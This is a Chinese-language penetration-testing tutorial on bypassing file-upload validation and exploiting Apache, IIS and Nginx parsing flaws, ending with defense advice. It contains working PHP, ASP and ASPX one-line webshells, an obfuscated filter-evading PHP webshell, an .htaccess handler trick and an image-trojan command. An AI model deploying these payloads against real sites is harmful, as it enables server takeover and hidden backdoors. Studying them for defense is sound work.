文件上传总结

概述

Web站点一般会有用户注册的功能,当用户注册之后,大多数情况下都会存在类似头像上传等个性化的设置,这些功能点往往存在上传验证方式不严格的安全缺陷,这些安全缺陷在Web渗透中是非常关键的突破口,只要经过仔细测试分析上传验证机制,往往就能找到绕过验证的方法,进而上传恶意代码获取整个Web业务控制权,复杂一点的情况是配合 Web Server的解析漏洞来获取控制权。

上传检测流程

通常一个文件以HTTP协议进行上传时,将以POST请求发送至Web服务器,Web服务器接收到请求并同意后,用户与Web服务器将建立连接,并传输数据。一般文件上传过程中将会经过如下几个检测步骤:

  • 客户端JavaScript检测 (通常为检测文件扩展名)
  • 服务端MIME类型检测 (检测Content-Type内容)
  • 服务端目录路径检测 (检测跟Path参数相关的内容)
  • 服务端文件扩展名检测 (检测跟文件extension相关的内容)
  • 服务端文件内容检测 (检测内容是否合法或含有恶意代码)

绕过方法

客户端检测(JavaScript检测)

这类检测,通常是在上传页面里含有专门检测文件上传的JavaScript代码,最常见的就是检测扩展名是否合法,示例代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function check()
{
var filename = document.getElementById("file");
var str = filename.value.split(".");
var ext = str[str.length-1];
if(ext=='jpg'||ext=='png'||ext=='jpeg'||ext=='gif')
{
return true;
}
else
{
alert("仅允许上传png/jpeg/gif类型的文件!")
return false;
}
return false;
}

判断该类检测的方法:选择一个禁止上传类型的文件上传,当点击确定按钮之后,浏览器立即弹窗提示禁止上传,一般就可以断定为客户端JavaScript检测,进一步确定可以通过配置浏览器HTTP代理(没有流量经过代理就可以证明是客户端JavaScript检测)。

绕过方法

  • 上传页面,审查元素,修改JavaScript检测函数;
  • 将需要上传的恶意代码文件类型改为允许上传的类型,例如将dama.asp改为dama.jpg上传,配置Burp Suite代理进行抓包,然后再将文件名dama.jpg改为dama.asp。
  • 上传webshell.jpg.jsp,可能前端程序检查后缀时,从前面开始检查。

服务端MIME类型检测

服务器端检测文件MIME类型可能的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
if($_FILES['userfile']['type']!="image/gif")
{//检测Content-type
echo"Sorry,weonlyallowuploadingGIFimages";
exit;
}
$uploaddir='uploads/';
$uploadfile=$uploaddir.basename($_FILES['userfile']['name']);
if(move_uploaded_file($_FILES['userfile']['tmp_name'],$uploadfile))
{
echo"Fileisvalid,andwassuccessfullyuploaded.\n";
}
else
{
echo"Fileuploadingfailed.\n";
}
?>

绕过方法
配置Burp Suite代理进行抓包,将Content-Type修改为image/gif,或者其他允许的类型。

服务端目录路径检测

上传的数据包中,如果存在path(或者其他名称)等能够操作上传路径的参数,修改该参数配合解析漏洞Get Webshell,该方法一般asp系统用比较多。
例如path参数为如下“upfile/”,可以尝试修改为“upfile.asp/”或者“upfile/1.asp/”或者“upfile/1.asp;.”,注意观察返回的文件名。返回的文件名可能为:upfile/1.asp;.201704117886.jpg,满足IIS6.0解析漏洞。

服务端文件扩展名检测

黑名单检测
黑名单的安全性比白名单低很多,服务器端,一般会有个专门的blacklist文件,里面会包含常见的危险脚本文件类型,例如:html | htm | php | php2 | hph3 | php4 | php5 | asp | aspx | ascx | jsp | cfm | cfc
bat | exe | com | dll | vbs | js | reg | cgi | htaccess | asis | sh等等。
白名单检测
仅允许指定的文件类型上传,比如仅允许上传jpg | gif | doc | pdf等类型的文件,其他文件全部禁止。

绕过方法

  • 文件名大小写绕过:
    使用Asp、PhP之类的文件名绕过黑名单检测
  • 名单列表绕过:
    用黑名单里没有的名单进行攻击,比如很名单中没有的asa或者cer之类
  • 特殊文件名绕过:
    比如在发送的HTTP包中,将文件名改为”dama.asp.”或者”dama.asp_”(下划线为空格),这种命名方式在window系统里是不被允许的,所以需要在Burp Suite中抓包修改,上传之后,文件名会被window自动去掉后面的点或者空格,需要注意此种方法仅对window有效,Unix/Linux系统没有这个特性。
  • 0x00截断绕过:
    伪代码如下:

    1
    2
    3
    4
    Name = getname(http requests)//假如这一步获取到的文件名是dama.asp .jpg
    Type = gettype(name)//而在该函数中,是从后往前扫描文件扩展名,所以判断为jpg文件
    If(type == jpg)
    SaveFileToPath(UploadPath.name , name)//但在这里却是以0x00作为文件名截断,最后以dama.asp存入路径里

    操作方法:上传dama.jpg,Burp抓包,将文件名改为dama.php%00.jpg,选中%00,进行url-decode。

  • 上传.htaccess文件攻击:(适用于黑名单检测方式,黑名单中未限制.htaccess)
    该文件仅在Apache平台上存在,IIS平台上不存在该文件,该文件默认开启,启用和关闭在httpd.conf文件中配置。该文件的写法如下:

    1
    2
    3
    <FilesMatch "_php.gif">
     SetHandler application/x-httpd-php
    </FilesMatch>

    保存为.htaccess文件。该文件的意思是,只要遇到文件名中包含有”_php.gif”字符串的,统一按照php文件来执行。该文件在Apache里默认是启用的,如果没启用,启用方法见:http://www.jb51.net/article/25476.htm 然后就可以上传一个带一句话木马的文件,例如a_php.gif,会被当成php执行。该方法其实不是漏洞,是Apache的特性。该方法常用于黑客入侵网站之后,不想被发现,留一个隐蔽的后门。在PHP手册中提到一句话,move_uploaded_file section,there is awarning which states‘If the destination file already exists, it will be overwritten.’服务器端如果采用了黑名单的形式限制上传,但是黑名单中却没有.htaccess文件,那么我们可以上传.htaccess文件覆盖掉原来的文件。

  • 解析漏洞绕过
    直接上传一个注入过恶意代码的非黑名单文件即可,再利用解析漏洞利用。

服务端文件内容检测

如果文件内容检测设置的比较严格,那么上传攻击将变得非常困难。以最常见的图片类型内容检测举例。

  • 文件幻数检测:
    JPG : FF D8 FF E0 00 10 4A 46 49 46
    GIF : 47 49 46 38 39 61 (GIF89a)
    PNG: 89 50 4E 47
    绕过方法
    在文件幻数后面加上自己的一句话木马就行了。
  • 文件相关信息检测:
    一般就是检查图片文件的大小,图片文件的尺寸之类的信息。
    绕过方法
    伪造好文件幻数,在后面添加一句话木马之后,再添加一些其他的内容,增大文件的大小。
  • 文件加载检测:
    这个是最变态的检测,一般是调用API或者函数去进行文件加载测试,常见的是图像渲染测试,再变态一点的甚至是进行二次渲染。
    绕过方法
    针对渲染加载测试:代码注入绕过
    针对二次渲染测试:攻击文件加载器

通常,对于文件内容检查的绕过,就是直接用一个结构完整的文件进行恶意代码注入即可。

Web Server解析漏洞

Apache解析漏洞

一个文件名为xxx.x1.x2.x3的文件(例如:index.php.fuck), Apache会从x3的位置往x1的位置开始尝试解析,如果x3不属于Apache能解析的扩展名,那么Apache会尝试去解析x2的位置,这样一直往前尝试,直到遇到一个能解析的扩展名为止。
WampServer2.0AllVersion(WampServer2.0i/Apache2.2.11)
WampServer2.1AllVersion(WampServer2.1e-x32/Apache2.2.17)
Wamp5AllVersion(Wamp5_1.7.4/Apache2.2.6)
AppServ2.4AllVersion(AppServ-2.4.9/Apache2.0.59)
AppServ2.5AllVersion(AppServ-2.5.10/Apache2.2.8)
AppServ2.6AllVersion(AppServ-2.6.0/Apache2.2.8)
以上集成环境都存在扩展名解析顺序漏洞,并且这些环境都存在对php3文件按照php来解析这个小洞。该方法针对黑名单不全时,能够绕过。
总结存在该漏洞的Apache版本:
Apache2.0.x<=2.0.59
Apache2.2.x<=2.2.17

IIS解析漏洞

IIS6.0

a.文件类型
正常:www.xxx.com/logo.jpg
触发漏洞:www.xxx.com/logo.asp;.jpg
按照Ⅰ来访问logo.jpg,文件会被当成是jpg图片来解析,想办法,能够按照Ⅱ来访问logo.jpg,文件就会被当成asp文件来处理。(如果IIS支持PHP,那么logo.php;.jpg也会被当成PHP文件执行)   
b.文件夹类型
正常:www.xxx.com/image/logo.jpg
触发漏洞:www.xxx.com/image.asp/logo.jpg
按照Ⅰ来访问logo.jpg,文件会被当成是jpg图片来解析,想办法,能够按照Ⅱ来访问logo.jpg,文件就会被当成asp文件来处理。(如果IIS支持PHP,那么image.php文件夹下的文件也会被当做PHP文件解析。)

IIS7.0以上

IIS7.0/7.5是对php解析时有一个类似于Nginx的解析漏洞,对任意文件名只要在URL后面追加上字符串”/任意文件名.php”就会按照php的方式去解析。(例如:webshell.jpg/x.php)
IIS7.0(Win2008R1+IIS7.0)
IIS7.5(Win2008R2+IIS7.5)
IIS的解析漏洞不像Apache那么模糊,针对IIS6.0,只要文件名不被重命名基本都能搞定。这里要注意一点,对于”任意文件名/任意文件名.php”这个漏洞其实是出现自php-cgi 的漏洞, 所以其实跟IIS自身是无关的。

Nginx解析漏洞

目前Nginx主要有这两种漏洞:
a.一个是对任意文件名,在后面添加”/任意文件名.php”的解析漏洞,比如原本文件名是test.jpg,可以添加为test.jpg/x.php进行解析攻击。
b.低版本的Nginx可以在任意文件名后面添加%00.php进行解析攻击。
Nginx0.5.
Nginx0.6.

Nginx0.7. <= 0.7.65
Nginx0.8.
<= 0.8.37
对于”任意文件名/任意文件名.php”这个漏洞其实是出现自php-cgi的漏洞,所以其实跟Nginx自身是无关的。

总结

从攻击者的角度来给上传分类:

  • 轻量级检测绕过
    a.绕过前端JavaScript检测:使用Burp抓包改包。
    b.绕过服务器端MIME类型检测:使用Burp抓包改包。

  • 路径/文件扩展名检测绕过
    a.黑名单检测方式
    文件名大小写绕过;
    名单列表绕过;
    特殊文件名绕过;
    0x00截断绕过;
    .htaccess文件攻击;
    本地文件包含漏洞;
    Apache解析漏洞;
    IIS解析漏洞;
    Nginx解析漏洞;
    b.白名单检测方式
    0x00截断绕过;
    本地文件包含漏洞;
    Apache解析漏洞;
    IIS解析漏洞;
    Nginx解析漏洞;

  • 文件内容检测方式

    对文件进行恶意代码注入,再配合解析漏洞。

文件上传防御


图中带红点的是防御的重要环节:

  • 轻量级检测必然能绕过
  • 检测的重点放在文件内容检测
  • 路径/扩展名检测一定要用白名单
  • 不能有本地文件包含漏洞
  • 随时注意更新Web应用软件

一句话木马

1
2
3
4
php : <?php @eval($_POST[‘lzx’]);?>
: <?php $a = "a"."s"."s"."e"."r"."t";$a($_POST[cc]);?>
asp : <% eval request(“lzx”)%>
aspx : <%@ Page Language="Jscript"%><%eval(Request.Item["lzx"],"unsafe");%>

php过狗一句话:

1
2
3
4
5
6
7
8
9
10
11
<?php
$mt="JF9QT1N";
$ojj="QGV2YWwo";
$hsa="UWydpMGle";
$fnx="5BeSleleddKTs=";
$zk = str_replace("d","","sdtdrd_redpdldadcde");
$ef = $zk("z", "", "zbazsze64_zdzeczodze");
$dva = $zk("p","","pcprpepaptpe_fpupnpcptpipopn");
$zvm = $dva('', $ef($zk("le", "", $ojj.$mt.$hsa.$fnx)));
$zvm();
?>

分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
$zk = "str_replace";
$ef = $zk("z", "", "zbazsze64_zdzeczodze");
= str_replace("z", "", "zbazsze64_zdzeczodze")
= "base64_decode"
$dva = $zk("p","","pcprpepaptpe_fpupnpcptpipopn");
= str_replace("p","","pcprpepaptpe_fpupnpcptpipopn")
= "create_function"
$zvm = $dva('', $ef($zk("le", "", $ojj.$mt.$hsa.$fnx)));
= create_function('', $ef($zk("le", "", $ojj.$mt.$hsa.$fnx)))
= create_function('', base64_decode(str_replace("le", "", $ojj.$mt.$hsa.$fnx)))
= create_function('', base64_decode(str_replace("le", "", QGV2YWwoJF9QT1NUWydpMGle5BeSleleddKTs=)))
= create_function('', base64_decode("QGV2YWwoJF9QT1NUWydpMG5BeSddKTs="))
= create_function('', "@eval($_POST['i0nAy']);")

过狗一句话总结为:打乱字符;编码技术;拆分组合;创建,匹配。

图片木马制作

命令:

1
copy /b 1.jpg+2.php

文件上传防御

1.关掉上传文件的功能
如果Web应用程序不需要上传文件的功能,则可以直接将上传文件的功能关闭来避免不必要的麻烦。打开“php.ini”文件,找到file uploads的位置,将file_uploads设置成Off。
2.限制能够上传的文件大小
如果黑客采取连续不断地上传文件,或是上传极大的文件,来使Web应用程序没有更多资源来处理其他来访者的请求,黑客就可以借此来瘫痪网站。PHP的限制机制可以让您限制允许上传文件体积的最大值,来避免来访者上传太大的文件。单独POST请求的最大值,可以使用php.ini文件的upload_max_size来设置。打开“php.ini”文件,找到upload_max_size的位置,将upload_max_size设置成想要的值。
3.检查上传文件的类型
4.检查上传文件的内容
5.上传的文件不要保存在公开的文件夹内,以避免被黑客直接读取。另外将文件的路径隐藏起来,或是将文件名称改成没有扩展名的随机文件名,都可以增加上传文件的安全性。

常用测试方法

1.上传jpg文件,抓包修改文件类型为脚本格式(asp、aspx、php、jsp等)。
2.有些应用检测上传文件类型时,通过文件名中的第一个‘.’来分割文件后缀名,所以可以尝试上传xxx.jpg.php(asp、aspx、jsp等)。